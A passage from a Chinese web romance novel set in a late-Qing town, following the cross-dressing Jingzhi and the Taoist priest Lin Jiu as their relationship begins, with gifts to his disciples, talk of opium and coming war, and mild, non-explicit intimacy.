“等等等!你一个老头怎么那么多问题,有的话,你等会就把地契送过来,把地方给我腾出来就行,我有用。” “学医的事儿,等过了七月十八,我再跟你说。” “行啦。”静之一把抄起桌上的膏药,朝他调皮的眨眨眼,“你快回去吧,别让你家媛担心,我要去追你祖爷爷啦~” 她的声音渐渐远去,“记得帮我锁门~” 梁恩摸着后脑勺,实在想不通。 “为什么要等到七月十八后呢?那不就是明天了吗?” 突然一股风又冲了进来。 静之抄起桌上的礼盒,又跑了出去。 看着来去匆匆的静之,他故作严肃,转过脸对安静如鸡的梁纪说: “看,这就是你祖宗。隐姓埋名,淡泊名利,活泼可爱,你多学着点。” 梁纪(′?_?`):“爹,淡泊名利我倒还行,隐姓埋名和活泼可爱,你儿子我怕是做不到了。” 他们梁家本就是这镇上的大家族。 这回有了史家这块蛋糕,简直可以在镇上横着走了,威名已经远播,怎么可能隐姓埋名嘛。 还有活泼可爱,他都知天命的年纪了,活泼个屁。 …… 另外一边,静之已经一路闯进了道观,擒住惊慌失措的林九,一把将他按倒在书房榻上了。 “你,你干什么?” 林九正做着要送她的礼物呢,静之就闯进来了。 此时的林九,闪烁着眼神,右手死死捏住东西,藏在自己身后,给他硌得不行。 书桌上还有工具,跟洒了一桌子的粉末。 他希望她粗神经一点,最好是别发现。 “你……刚刚在做什么?” 林九别开脸,看着窗外树枝上蹦蹦跳跳的两只喜鹊,说: “……没干什么,林弟你起来,青天白日压着我像什么样子?!” 静之轻挑眉头,放开他,顺便抚平他的衣领,其实暗暗揩油。 “青天白日不能压,难不成晚上可以?” “腾”的一下,坐起来的林九,脸涨得通红。 他恼羞成怒瞪了静之一眼,“不许说胡话。” 静之耸了耸肩,展开手心,把手里的膏药呈到他面前,可怜巴巴眨着泛起微光的双眸: “都怪你,叫我每日晒足三个时辰的,我晒伤了,你要负责帮我擦药。” 这时的林九才敢把视线聚焦在她发红的脸上。 “明明都是一起晒的,怎么就你晒伤了?” 之前静之看他纳凉,心里不爽,也把他拉到阳光底下一起煎咸鱼。 结果林九这两天是黑了个色度。 她手指轻轻戳了一下他的脸。 第224章 为他们安排好一切 小海走后,林九像是不敢相信一般,抖着手伸了过去握住她的手。 “林弟,我们……真的在一起了,两个男人??!” 静之顿了一下。 另外一手撑在榻上,把身子歪过去,微昂起头蹭蹭他微凉的鼻尖。 “怎么?还想要我亲亲你确认一下?” 林九集中视线,看着贴得超近的她,眼睛都快瞪成斗鸡眼了,还是不舍退开身子。 “我觉得像在做梦。”他低声说道。 知道小海不多时就回来,怕林九等会被撞破什么,会直接羞死,她好心退开身子,执起被他牵住的手说: “你做的什么梦?” “梦里有我?” “我在干什么?” 每被问一句,林九的脸就红一分。 他寸寸后退,当被问到梦里的她在干什么时,林九身子一歪,差点从榻上掉下去。 静之手指用力,手臂抻直,一把拉住他。 “做春梦啊?” 林九乖乖回来坐好,只是再不敢与她握手了。 两手乖乖放在自己的膝盖上。 “没有。” “没有什么?” “……没做春梦。”热意上头,林九微微扣着下巴,意图将大红脸藏在阴影里。 “没做春梦,你脸红什么?” 他握拳抵在嘴边,轻轻咳了一声,顾左右而言他,“小海回来了。” 她侧头一看,小海捧着个箱子朝书房走了过来。 箱子? 她的眉头渐渐皱起,没有逗弄林九的心了。 不是叫梁恩带回去了吗,他怎么还把这东西留在这里? “师爹,不止一张,你快来看!” 小海前脚刚跨进书房,林九后脚就自动弹开,坐到榻的另一边去。 静之有些无语的看了他一眼。 ……算了。 被迫出柜的大直男,不想在人前秀是正常的。 箱子被摆在桌上,静之走过去掀开一看,一样没少。 几张地契下面,是一盒白花花的银子。 “我去!林兄弟你这么富啊!那我师父有福了!” “咚!” 好听就是好头。 小海脑袋被敲了一记。 “我是这种人吗?” 对上林九的冷眼,小海缩了缩脖子,从怀里掏出一张地契交给静之。 “喏,这张是压在箱子底下的。” 静之接过来摊开一看。 同记铺子分店,面积十五平,倒是不大。 不过同记叉烧在这镇上可是出了名的,甚至不是本地人,嘴挑的二娣,也好这一口,可想而知这张地契的含金量了。 “小海,你叫你师兄进来一下。” 小海笑嘻嘻的朝她挤眉弄眼,“呦,刚跟我师父在一起,就开始使唤我啦?” 林九紧抿着嘴,随手抓起一个毽子丢过去,“还使唤不动你了,赶紧去!” “去去去!”小海伶俐躲过,乐呵呵的走出去,又突然扒着门伸回来一个头,“师爹~” “欸~”静之眉眼弯弯的回应,然后笑倒在林九怀里。 “哈哈哈,林兄,你这徒弟可太好玩了,哈哈!” 除了刚刚他们那一吻,这是他们的第一个拥抱。 林九被笑得浑身颤抖的她蹭得浑身不自在。 于是抬手扶正她的身子,红着耳朵,一板一眼对她说:“别叫我林兄。” “那叫什么?” 林九看着她想了一会儿,突然想起他做梦时,她叫的称呼。 他小声嘀咕了一句什么。 静之没听清,又把脸凑了过去,“什么什么?我要叫你什么?” 林九轻轻推开她,“叫我九,九哥。” 门框旁突然出现两个上下相叠的头。 小海:“九哥哥~” 阿宝:“……” 怎么只有他一个人的声音? 小海默默把头缩回去:“师兄你怎么不叫?说好一起叫的。” 阿宝缩得更快:“……我怕被打。” 他心眼直,但是危机意识一级棒。 果然。 “小海!!!” “给我滚去院子里扎一根中香的马步!!” “啊??” “啊什么啊!还不快去,还是想我揍你——” 静之慢慢的把红唇从他紧绷的侧脸挪开。 悠悠在他耳边唤一声: “林九哥哥……” 怦……怦怦…… 心乱如麻。 林九指尖骤然收紧,衣服下摆跟裤腿被抓得皱巴巴的,骂小海的话突然断掉。 仿佛一颗炮仗沾了水,瞬间哑了火。 “别站了,小海你也进来。”静之朝门口唤了一声。 静之把同记分店的地契和一锭银子递给阿宝。 林九赶紧伸手阻止,不甚赞同的看着她。 “怎可拿你的东西,他有手有脚的,可以自己赚。” 阿宝跟着后退一步,摆了摆手,“我不能收,师父说过,无功不受禄。” “师父说师父说,我倒觉得小海有句话说得很对,九哥又不是圣人,总有犯错的时候。” “你的粥铺就是个烂摊子,何老板怎么做的,你又不是没看到。” 静之背着手,走到阿宝身边,侧过脸问他: “难道……你不想早点把小珠娶进门吗?” 这句话仿佛触到了阿宝的逆鳞。 他紧紧攥着拳头,一双牛眼瞪得老大。 “想,我做梦都想。” “我跟她青梅竹马,我对她的感情日渐深厚,要不是……” 静之把地契和一锭银子塞进去他手里,打断了他的话。 “即是这般,那你就收下这些东西。” 看到阿宝跟林九动了动嘴,皆想反驳,静之抬手下压。 “先听我说完嘛。” “我知道你们师徒俩都是有骨气的人,这铺子,算是我租给你的,不过,我不要租金,只要你每个月收益的一成。” “不过可以不用急着给我,这两锭银子,先给你做本钱去买肉,等什么时候你欠我的这十分之一收益,达到这两锭银子的数量,你再还给我就行。“ 这元宝形的银子一锭是50两。 等他利润的十分之一达到50两时,总利润不得有个500两。 阿宝暗暗掰着手指头算,就算他能够赚到这些钱,那不得等到猴年马月才能攒够钱还她。 这银子……不就相当于她送给他的吗? 阿宝突然红了眼眶,右手紧紧攥着一个元宝,左手却是轻了又轻拿着那张地契。 “师父,这……” 林九跟着站了起来,走过去拍了拍他的肩膀。 “抱歉,上次,是师父不对,那十个银元就当买个教训。” “至于林弟给你的,你就收下吧。” “那同记叉烧有百年历史,你好好做,为师相信,不过区区五十两,你很快就可以赚来还她的。” “同记叉烧??”小海惊得瞪大双眼,“你说的是大街上那家每天队伍都排老长的同记?” 静之嘘了一声,有些没所谓的说:“不过是分店而已,阿宝你要好好做啊,别砸了人家的招牌。” 她朝阿宝眨眨眼,调笑着说:“这回啊,可没人会说你卖的是盗版粥了,咱们这可是加盟上岗的。” 阿宝紧紧抿着嘴,突然朝她伸出双手,两颗豆大的泪,啪嗒一声落在地上。 “林兄弟,来来,快给兄弟抱一个,你人怎么这么好!” 林九迅速伸出手,把他的双臂挪了个方向。 情绪激动的阿宝直接把小海抱了个满怀。 “呜呜呜,师弟,我有救了。” 小海无奈的拍拍阿宝厚实的背,有些羡慕的说: “你可就好了,未来的路,师爹都为你打好了,连资金都给你备好了,小珠简直是手到擒来。” “而我呢,我什么都没有。” 静之对上他期冀的目光,微微耸了耸肩。 “阿宝有所求,我看你每日过得倒是舒心,逗逗狗,打打拳,我看不需要这些东西吧。” 而且,她主要是想报答上辈子华宝叔救她一命。 这阿宝与华宝叔简直长得一模一样,八成就是华宝叔的转世。 她可不是什么烂好人。 最重要的一点是,小海鬼机灵,上回建议阿宝拿十个银元出去赌,她就知道他有冒险一搏的念头。 这样的性格,一有钱就很容易拿去赌。 静之想了想,把另外一锭银子交到林九手上。 她对小海说:“这是给你的,就当是我跟你师父在一起,给你们的第一个礼物。” 瞧着小海喜上眉梢,她立马浇了一盘凉水: “不过不是马上给你啊,钱让林兄帮你存着,等你要是真到了紧急时刻,才能动用这些钱。” 小海无所谓的摊了摊手,“没事啊,平时我又不怎么需要用钱,放师父那儿就放师父那儿,反正知道我有那么多钱,我心很安。” 静之轻轻点了点头。 至于剩下的那些东西,她会找个机会拿回去还给梁恩的。 静之走回林九身边,用肩膀轻轻顶了顶他的肩。 她含情脉脉的看着他,“林兄,我也有东西送给你。” “我不要你的钱,我自己有。”林九板着脸,严词拒绝。 静之微微愣住,然后轻笑一声,拿拳头轻轻怼了一下他的肩头。 “好啦,林兄最有骨气了,不是钱,你放心吧。” 她朝还站在他俩身后吃瓜的师兄弟俩摆了摆手。 “你们先去同记分店看看铺面呗,交接一下,三个月之期,说长也不长,要抓紧时间喽。” 得了礼的两人这时候好说话的很,一溜烟就出去了。 林九被静之扯到书桌旁坐下。 她则拿出一开始拿过来的礼盒放在他面前。 “打开看看,本想明天七月十八送给你,用来挽回你的心的。” “但是今天既然说开了,你就现在打开看吧。” 林九深褐色的眸子微微闪着亮光,看着包装精致的盒子。 任谁被送礼物都会感到开心的。 他点了点头,轻轻揭开礼盒侧面的搭扣。 展露在他眼前的,是一个小小的茶壶。 呈椭圆形,深褐色,壶身上雕的是一小簇竹子,竹子旁写了一个小小的【九】字。 整体有些不对称,林九的眼睛却越来越亮。 “这是……你亲手做的?” 静之有些害羞的挠了挠头,“抱歉,我第一次做,有点歪,时间紧急,下次我再给你做个更好的。” 之所以刻竹子,是因为上辈子林九给她做的水壶,上面就有他刻的竹子。 她想,多放一些这种小小的线索,会不会让他也像林九一样,做个梦,想起点什么呢…… “不用,这个就很好,我很喜欢。” 看着林九又将盒子盖起来,拿着盒子来到书架前放好,她有些疑惑。 “不拿出来用吗?” 林九的脸突然有些发烫,但还是老实回答。 “我……我不舍得用。” “就这么喜欢啊?” 林九抿着下嘴,生硬的转移了话题。 “……我也有东西要给你。”林九背对着她,右手扶着书架,心跳乱得不成样子。 “那拿来我看看。” 两只手臂突然穿过他的腰肢,从身后拥住他。 她的脸轻轻贴在他温热的背上。 林九突然说一句: “林弟……你脸上的药膏,蹭到我背上了。” 静之嗖的一下撤回两只手,泄愤似的咚咚捶了两下他的背,“……你的嘴,比甘蔗还直。” 第225章 掰直林九大作战 林九还不习惯与人如此亲密无间,背僵得简直都要抽筋了。 “我是说真的,你脸上的晒伤膏,这回真的要被蹭没了。” “……哼,大呆瓜。” 静之朝他伸出手,“我不管,礼物呢?” 林九笑着轻拍一下她的手,“哪有人这样伸手讨礼物的。” 静之指向自己,“哪里没有,我就是喽。” 林九无奈笑着摇摇头。 牵着她来到榻边坐下,“我还没做完呢,明天再送你,先擦药。” 静之抽回手,目露警惕的说: “我不要结拜,你休想再拉我跟你结拜,我管你什么七月十八。” 林九看了看窗外空荡荡的院子,有些羞赧的抿抿嘴,然后按捺住有些荡漾的情思,轻轻亲一下她软软的唇瓣。 “不结拜,我不知道我们可以走多久……但是,既已决定与你携手踏上这条路,我就没打算再回头了。” …… 他说话可真好听。 他弯得也很彻底。 静之扶着他的肩膀,任他挑着她的下巴擦药,有些欲言又止。 现在说出来事实,他不会吐她脸上吧? 唉……都怪她上辈子吓唬他吓得太过了。 林九:“转过去。” 静之跟提线木偶似的,他说一句,她动一下。 心事重重的样子,让林九不禁起了疑心。 给她擦完药后,他紧紧拉着她的手,像是怕她突然反悔跑掉似的。 林九小心翼翼观察着她的脸色,问: “你……是不是担心我们的将来……” 静之看了惴惴不安的林九一眼,眸子里的歉意更深了。 好了,现在不仅掰弯他了,还让他没了安全感,这都是些什么事儿。 “抱抱。” 她把手伸向林九。 如今她只能多亲近亲近他,慢慢打消他这种不安的感觉了。 林九细心的关了窗,关了门。 才走过来轻轻把她搂进怀里,还贴心交代一句:“别乱蹭,不然药白擦了。” 静之侧坐在他温暖的怀抱里,两眼无神点了点头。 林九缩紧怀抱,紧紧扣住她肩,“林弟,不管你这脑袋里在想什么,既然跨出这一步,我不允许你缩回去。” 手被他攥到有些出汗。 静之感受到他心里强烈的不安,突然抬头看着他刚毅的下巴问: “九哥,若我是女人,你…会喜欢我吗?” 刚说出女人二字,他就抖了一下。 静之后面的话差点没心思问完。 他果然还是没法接受的吧? 林九轻啄一口她的头发,“我不知道,假设的事情也做不得真,我…我只要你。” 咋整咋整咋整咋整啊!!!! 林九难道真的掰不直了? …… 从他那儿回来以后,静之头皮都要挠破了。 她拿出她的B计划不停翻看。 恨不得猛猛抽自己一巴掌。 不行! 真女人怎么可以认输。 静之一把火把B计划烧了,奋笔疾书,重新拟了个新计划。 名曰:《掰直林九大作战》 就凭他厌恶女人这点,她千万不能一蹴而就,不然容易引起反效果。 静之打算温水煮青蛙。 这第一步嘛,就要这样做…… …… 七月十八,终于还是到了。 被林九之前心心念念这么多次,静之都有些讨厌这一天了。 她一脚蹬飞被子,从床上弹起。 洗漱完,坐到梳妆台前。 刚刚拿起眉笔,按在眉毛上的那一刻,想了想,她还是放下了。 手指沾了点壶里的凉水,把眉毛上蹭到的眉粉擦干净。 望着镜中那张柔和精致的脸,静之咬着唇下定决心。 今天,就以真面目见他吧,别装了。 刚走出房门,她又回来戴了副白玉耳钉。 耳钉不大,是菱形的,颜色浅淡温润,整体感觉偏中性。 小海不也戴耳钉嘛,林九应该没话说吧。 静之摸了摸耳钉,咬咬牙朝道观走去。 刚一进道观,就碰到小海跟阿宝穿戴整齐,精神头十足齐步走了出来。 她笑着打了声招呼: “呦,一大早去哪里啊?” 阿宝朝她点了点头: “林兄弟这么早就来找我师父啦?我们去店里打扫打扫,明天就开工,明天林兄弟来一起热热场子呀。” “她当然会去。”小海撞了撞他,极有眼色的说:“不过你得改嘴了,人家改嘴礼都给你了,要叫师爹。” 小海看清静之今天的装扮时,他微微一愣。 师父会喜欢上她,也不是没有道理的。 阳光下的静之,一身月白长袍尽显风流。 及腰的银发今天半束着,脸上的晒伤几乎全好了,却一点没变黑,那一点点红意给她原本清冷的气质,增添了几分雌雄莫辨的妖娆。 小海挠了挠脑袋问: “师爹,你今天…好像有哪里不一样。” 静之环着胸,朝他挑了挑眉,“哦?你倒是说说,是哪里不一样啊?” 看着挑动的细长剑眉,小海跟着挑一下眉,“当然是这个,为了我师父这个中年大叔,你修眉啦?” “……你都能发现,那他一定也可以,我进去了。” 静之抬脚便跨进门去。 她身后的小海却幽幽叹了口气,“唉,师爹生得比女娃娃还美,我都开始羡慕师父了。” 阿宝拍了拍他的背,“多赚点钱,师兄到时候给你相看个媳妇。” 小海指着院子里头那道纤长的背影,“那我要像她这种的。” 阿宝突然翻了个白眼,抬脚便往外走。 小海忙不迭跟了上去,“诶诶诶,你说好帮我找的。” 阿宝:“林兄弟无论是外表还是性格,都是独一无二,万里挑一的……我看你还是单着吧。” “反正我是找不到。”他补充一句。 …… 另外一边。 看着背对她,正认真晨练的林九,静之蹑手蹑脚靠近,然后一个猛虎扑食,直接跃到他背上。 “九哥,这么早就锻炼啊?” 林九双脚叉开稳住身子,有些无奈的侧头看向她,“你啊,说是二十八,我看只有八岁。” “啾~” 静之嘴一口他因晨练而泛起红润血色的侧脸,笑眯眯的说: “我这叫童心未泯,每天总端着干什么?开开心心的不好吗?” “……你下来,等会被人看到。” 静之收起笑容,小心翼翼的看着他突然又白又红的脸,“我来找你玩,你不开心啊?” “不是……昨天说过了,我怕你被人说……” 他的林弟本性纯良,世人要是说她一句不好,林九想他能直接怄死。 道观也靠百姓的香油钱存活,所以正门一般都是大敞着的。 静之看着门外走来走去的行人,默默撇了撇嘴。 “那我们去里面,你家有饭不,我还没吃饭呢。” 林九:“来都来了,先跟我练一段儿再进食。” 静之与他大眼瞪小眼。(〇_o) “……在一起第二天,你就想着揍我了?!” 她捧着心窝窝,满脸皆是痛苦之色,“心突然好痛,不亲一下不会好。” 林九完全不理会她的搞怪,一脸正经说:“不是,锻炼一下,吃的更香。” 可恶啊,没骗到阿九的香吻。 她忍不住嘴贫一句,“我不锻炼,也吃得很香。” 嘴巴这样说,手上却跟他练起了拳。 切磋,讲究点到为止。 林九今早放水放得有点厉害,压根就不敢像上次那样,用力格挡或反击。 不是借力卸力,便是直接躲过。 静之玩得兴起,追着他打,从前院一路穿过长廊,打到后院。 最后的最后,还是那个姿势。 他一拳过来,轻轻落在她的耳边。 怕吓到她,他甚至连一点砖都没打碎。 静之背贴着墙,终于被他壁咚一次,开心得咯咯直笑。 额前的碎发被汗水打湿,粘在脸上。 剑眉肆意扬起,即使不刻意画粗,也别有一股惹眼的英气。 微微上翘的美目此时弯弯,阳光仿佛捻碎了,晕入她的眼中,亮晶晶的一片,让人挪不开眼。 林九撑着墙简直看呆了去。 “还看。”静之头撞头轻轻怼了他一下,“我好看吗?” “……大早上的,不许勾我。” “不是,谁勾你了?” “……你对我笑了。” “我刚刚也对阿宝和小海笑了,门口那个卖烧饼的,我也对他笑了,我难道都勾……” 话还没说完,壁咚的那个人突然弯了手臂。 所有的絮叨被他吞入口中。 阳光穿过树叶的间隙,洒在墙边那一高一矮两道相贴的身影上,给他们渡上了一层金黄的色彩。 静之不知道是盛夏的阳光晒得她出了汗,还是他的吻和怀抱太火热。 她开始抵开他拥得紧紧的结实手臂,用力挣扎着。 “好热,放开我。” 第226章 辩时事 辩经 “……热吗?” 林九喘着气,一抹整齐的小胡子都被汗微微打湿了,还在嘴硬,“我不热。” “你不热,我热。”她红着脸,轻捶一下他的肩头,细若蚊声说:“快放开我,要吃早饭了。” 林九看着她,突然轻咽了口口水。 比起早饭,他好像更想啃啃她的红脸蛋。 静之伸手捂住他灼热的目光,“不许再看。” 再看一定会出事。 “好,吃饭。” 他的声线低沉,又莫名有些沙哑。 …… 初初恋爱的人,都是这般黏糊吗? 此时坐着喝粥的林九,右手拿着汤匙,左手紧紧牵着静之的右手。 害得她只能用左手吃饭。 “九哥,手都出汗了……” 林九余光瞄过紧紧扣住的两只手,眼里尽是满足。 “不热,等会吃饱了带你洗手。” “……你控制一点,不是说怕人发现吗?” 林九放到嘴边的勺子微顿,转头看了她一眼。 他要是没控制,她还能好好的坐在这里? 这眼神静之瞬间明了,勺子里的粥啪嗒一声落回碗里,她瞬间回神,唰的一下埋头喝粥,边说: “那吃快点,我等会有事儿跟你说。” 林九见她一副要把脸埋进碗里的样子,心里暗自发笑。 这小子,怎么突然变得这么容易害羞了? 看一眼就脸红,亲一亲就出汗。 若是…… 不能想不能想! 林九你可是正人君子,快把脑子里的那些肮脏的想法撇出去! …… “九哥,我有个问题想问问你。” “你问。” 静之咔嗒一声,轻轻放下一颗白子,微微蹙起眉头,眼里有着些许纠结。 “我想系统的开始学医。” 林九看着眼前的棋局,脑子里瞬间闪过好几种解法,最终黑子故意落在一处不甚明显的却又能让她发现的破绽里,让她吃了几个子儿。 他满意的微微勾起嘴角,才答一声: “学医很好啊,济世救人,有想法就去做。” 静之捡回了那几颗被包围的黑子,也没有开心到哪里去,反而撑着脑袋,直揉太阳穴。 “可是衙门的差事我又不想辞,若是夜里干衙门的差事,白天去学医,我就没有时间跟你相处了。” 听到这话,林九手里的黑子迟迟未落下,他抬头看着对面的静之,一脸不赞同: “莫说跟我相处的事儿,一天连轴转下来,你的身子会吃不消的。” 指尖轻轻叩了两下冰凉的黑子,林九还是问了出口: “为何一直要在衙门做活?挣不了几个钱,还经常日夜颠倒,要不……辞了算了?” 静之悠悠叹了口气,才同林九道起了缘由。 “主要不是巡街的那点事儿,不管你信不信,我总觉得风雨欲来。” 她竖起耳朵,警醒的听了一下附近的动静。 虽没人,她也仍旧俯下身子压低声音说: “大清已至末路,社会已经被大烟钻得千疮百孔,百姓流离失所,你觉得塞外那些豺狼虎豹不会趁这种时候,凑上来咬一口肉吗?” 谈到这种话题,林九的表情也逐渐变得严肃,略微思虑过后,他依旧摇头。 “老话说得好,合久必分,分久必合,王朝更迭,本就是顺应时局发展,咱们守好本心,在乱世中求得一立足之地。” “若有余力,才能想着去帮助他人,林弟你……不可多加干预。” 静之张了张嘴,老半天才把白子丢回棋篓里,“你倒是想得通透,也太高看我了。” 她撇了撇嘴又说: “我哪能干预什么,不过是想在风雨来临之时,能率先得到预警,通知想保护的人早些离开罢了。” “离了衙门,我怕我收不到消息。” 静之一想到学校里学的近代史,脸色越发的不好看。 届时高门大炮架到家门口,她和二娣的子子孙孙,又该躲到哪里去? 纵然练就一身武艺,也比不过人家的一颗子弹吧。 “唉。” 林九突然走过来,将愁眉苦脸的静之打横抱起,然后走回去坐回他位置上。 下巴轻轻枕着她的发际,林九轻拍着她的肩胛骨安慰。 “你啊,怎么这么善良。” “不过你呆在衙门里,又能得到多少消息呢,咱们这儿,只是一隅小镇,若上头有重大决策,怕是还没传达下来,敌人就打来了。” “最重要的一点,你怎么知道,你想保护的人,不会也想保护你呢?” 梁家人…也会想保护她吗? 也是,有梁恩这个碎嘴子大家长在,他们大概都知道她的身份了。 那他们又是怎么想的呢? 静之焦距放得很远,直到下巴被挑起,一张正气凛然的脸坠入眼眸,她才收回目光。 “你干什么?” 林九轻轻摩挲着她的鬓发,郑重许下承诺,“若是真有那么一天,我不想被你保护,我想与你携手,一同抗敌。” “我不知道你还想护着谁,不过若是他们有心,必定也会如我一般想法。” “况且,你怎么知道他们没有给自己留后路?” 后路? 医药世家能给自己留什么后路? 多备点药,治疗自己的枪伤吗? 她微微一噎,又踌躇着问: “若是……明知道是个必败的结局,那还打吗?” “打!” 林九毫不犹豫出声。 “佛门教人看破红尘,出世超脱凡俗。” “道教则教人与时迁移,应物变化,也就是顺应自然,听从内心的指引。” “况且,九虽修道,但也是普通人,敌人都到家门口了,一点都不反抗,可不是我的性子。” “我的道心,不会答应。” 见她还一副懵懵的样子,林九抚平她眉间的褶皱。 对她反问了一个问题。 “昨天我看了本书,书里有段对话,当真引人深思。” “有个问题,我同样也想问问你。” 静之:“你说。” 林九:“世间有人谤你、欺你、辱你、笑你、轻你、贱你、恶你、骗你、你当如何处治?” 静之拳头越听越硬。 她腾的一下,从他怀里坐直身体,不住挥着拳头,咬牙切齿说: “我捶不死他我就不叫林静之!!” 林九扶稳她不住晃动的身子,笑看着她,接着说: “可书里并不是这么回答的。” 她突然停下动作,“那是怎么说的?” “只要忍他、让他、由他、避他、耐他、敬他、不要理他,再待几年你且看他。” 听他念叨着,静之眉头越皱越紧,“你也是这么想的?” 林九摇了摇头,却又点点头,一副玄之又玄的样子,给静之急得直捏他的脸。 他笑着轻轻拂下她的手说: “圣人如此云,必有他的道理,事事争斗,只会头破血流,不理他,他自有天道收拾。” “然而,九非圣人,九…还是个小心眼的人,我的回答当然是……” “打回去。” 静之怔怔的看着眼前这个男人,突然觉得她好像顺着他的话,摸到了一点他的心。 “九哥……” “嗯?” “我突然觉得你好帅啊。” 他浅笑着低头啄一口她的星星眼,“老是护着别人,为别人思考的林弟,也帅得不行。” 静之微扬下巴,有些傲娇的说: “那是,我本来就帅。” “那……衙门的差事?” “还要接着干。”静之说。 “啊?” 感情刚刚说了一通,她还没听懂? “你……” 静之捂住他嘴,拧着眉毛说出自己的看法。 “我知道你觉得那差事太累了,不想我去。” “但是还有另外一件事,我非留不可。” “大何跟我说过,威大人与大烟贩卖有关,那个狗官倒是个属乌龟的,证据藏得极深,我想……” 林九掰开她的手,一脸严肃说: “不管你想干什么,首要条件就是先顾好你自己,不然我抓也要把你抓回来。” “好好好。” 有人关心自己,总会觉得心里暖暖的,她舒了一口气,缓缓靠在他肩头,回忆从城门口之前挂着的那一溜儿吸大烟人士,一路追溯回她妈妈身上。 童年阴影,当真能影响人一辈子。 “九哥,我知道我能力有限,救不了多少人,抽大烟的,实在太多了,但是在能力范围内,我想尽我所能,能多救一个是一个。” 她红着眼眶抬起头,“你会帮我吗?” 林九锐利的眸子里,分明看清了她眼底深处的求救之意。 他的林弟,童年到底是经历了什么事儿? 只有失去所有,才会触底重生,硬起脊梁,总想着将别人护在她的羽翼之下。 她…吃了很多苦吧。 “好,我帮你。” 静之:“那好,事情又回到原点了,九哥。” “白天学医,晚上巡街,咱俩都没有相处的时间了。” 林九:“…………” 一个人愁,变成了两个人愁。 第227章 他的心,脏了 愁人的事总得解决。 然而眼下这个一言不合就贴贴的林九,更不得了。 “别这样……中午了,等会阿宝他们回来看到就不好了……” 耳钉连同耳垂被他叼住,林九锐利的眼神直盯她红润的脸颊。 “林弟,都说了别勾我,咱们都是男人,你知道心上人在身边是什么感觉,我会忍不住的。” 静之在心里直喊冤枉。 “我什么都没干呀。” “你修眉了,还带了漂亮的耳钉。” 林九从身后把她搂得紧紧的,恨不得把她藏起来。 “你已经够俊了,不需要用这些东西装饰自己。” 主要是,刚刚他俩出去喝茶打探消息,有好多姑娘的眼睛都快粘在静之身上了。 甚至还有两个胆大的姑娘朝她丢过来两个荷包。 虽然静之跟接到烫手山芋似的,立马丢了回去。 但是,他还是不可避免的起了危机感。 炽热的吻落在侧颈。 林九伸手轻轻的把她的耳钉摘下,塞进她手里。 手却伸到她腹前轻解她的腰带。 “别!!!” 他的呼吸有些粗重,眼里闪过一丝执拗,手搁在她腰扣上就是不松手。 “别怕,我只是想帮帮你。” 静之身子僵得像是一座风化了的雕塑。 “不,不用了!我没这个习惯!” 林九的手微微卸力,跟着紧紧环住她的细腰,笑声低沉。 “林弟真是洁身自好。” “那……你房里的肚兜又是怎么一回事?” 来了来了! 质问来了! “我,我……那什么,我变态,我喜欢穿女装,你千万不要说出去。”静之磕巴得不行,随便瞎掰了一个理由,手指偷偷掰着他搂住她腰的手。 “哦?” 她变态? 那正好,他也是。 他们两个天生一对。 他扶着她的腰一转,把她转过身,抵在门上,“那什么时候,穿给我看看?” 静之捏着他的腰带,清透的眸光微微闪烁着,“你不是看过了吗?” 上次他差点晕了,她才不敢如此乱来。 “我说的是……穿肚兜给我看看。” 啊??? 这辈子的林九玩这么花? “…………我以为我够变态了,原来你才是。” 林九突然一头扎进她的肩窝里,憋笑憋得肩膀都在抖,“这样真好,我们很合。” 静之顿了一下,这时才反应过来。 “……你刚刚在逗我?” “呵,林弟缺心眼的样子也很可爱。” “啪!” 静之一脚踩到他鞋上,“你讨厌!你休想再看到我穿女装,哼!” 林九任她踩着,醇厚的闷笑不绝于耳。 静之越想越气,一个翻身,一手肘压住林九的双肩,反把林九抵在门上。 “不就是怕我喜欢女人去了,不喜欢你呗,等会你可别推开我!” 他笑意堆满了眼角,眉目含情看着她。 “好,不推开……你干什么,你别!!!” 事情又反过来了。 扯别人裤腰带的人,突然被扯掉了裤腰带。 她微抬下巴,幽幽的看了他一眼,突然笑了。 “九哥,我是真喜欢你请你好好感受。” 边说着,她在他震惊的眼神中…… 毕。 期间林九想推她,又不舍推她,胸口起伏越来越大,门板都快抠烂了,她才施施然笑着走去喝茶,徒留他一个人在原地不住喘息。 “怎么样?还不安吗?” 林九脸红脖子粗,整理好凌乱的衣服,几乎是同手同脚走了过来。 “你,你以后别这样了。”他吞吞吐吐的说。 “你不喜欢?”她端起茶杯,轻饮了一口。 轻微的喝水声,让林九浮想联翩。 他别过脸不敢再看,刚刚要扯她裤腰带的勇气霎时间消失得无影无踪。 那种抽空脑干的感觉,他很难说不喜欢,更何况对象还是她。 “……不是。” “那是什么?” “我……我舍不得你这样做。” 静之短暂懵了一下,然后挑起他的下巴,大力啵一口他发烫的脸颊。 “你说话真好听,我爱听。” “…………” 林九含羞看了她一眼,抿了抿唇,走到门边,把她刚刚丢落在地的耳钉一一捡起。 “……有些脏了,我洗了再还给你,你以后要带就带吧。” 静之慢悠悠的又给自己倒了杯茶水,然后似笑非笑的看着他。 “……我觉得不脏。” 林九头顶都快冒烟了。 闭了闭眼,转头就往外冲。 可没想到,门还没开。 他砰的一声,一头撞门上。 整个人瞬间僵在原地。 耳朵都快冒出蒸汽了,后面那个人还在肆无忌惮的笑笑笑! 林九羞意上头,咬着牙软软瞪她一眼,捂着红起来的脑门,夺门而出。 哪里不脏,他的心,脏了。 第228章 领书 静之侧躺在榻上闭目养神。 过了好久,林九才推门进来。 她没睁眼,只是撑着脑袋,淡淡说一句: “终于肯回来啦?还以为你掉井里去了呢。” 只是看她一眼,好不容易平复下去的心跳又开始变得急促起来。 林九没有说话,只是走过来在她身前坐下,轻轻抬起她的头,放他膝盖上。 “还想啊?” 古铜色的脸突然红得像炙热的铁,他张了半天嘴,才记起来嗔她一句: “……乱说什么。” 一条湿润的毛巾突然一把盖在她脸上。 “干什么?用完就要一把闷死我啊?” 她那张嘴啊。 林九真想用什么东西给她堵住。 “……给你洗脸。” “我早上出门前洗过了。” “……” 林九没有回答,他洗得很细致,他这儿的布巾总归是有些糙的,林九怕她晒伤的位置会痛,擦拭的力道轻了又轻。 以至于洗得特别慢,毛巾都变温了,他还在擦她的右半边脸。 “行了,再擦就破皮了。” 林九垂着眸子收回毛巾,拿起干净到反光的耳钉,轻轻戴回她的耳洞里。 “好了。” 静之右手上抬,把住他的脖子,一个天旋地转。 褐色长袍和白色袖子暧昧交缠着。 林九被调换了个位置,躺在她腿上,她的白色发尾温凉顺滑,轻轻在他脸上滑动着。 本就不受控的心,像是能直接蹦出嗓子眼儿。 情人之间,都是这么亲密无间的吗? 林九有些不习惯。 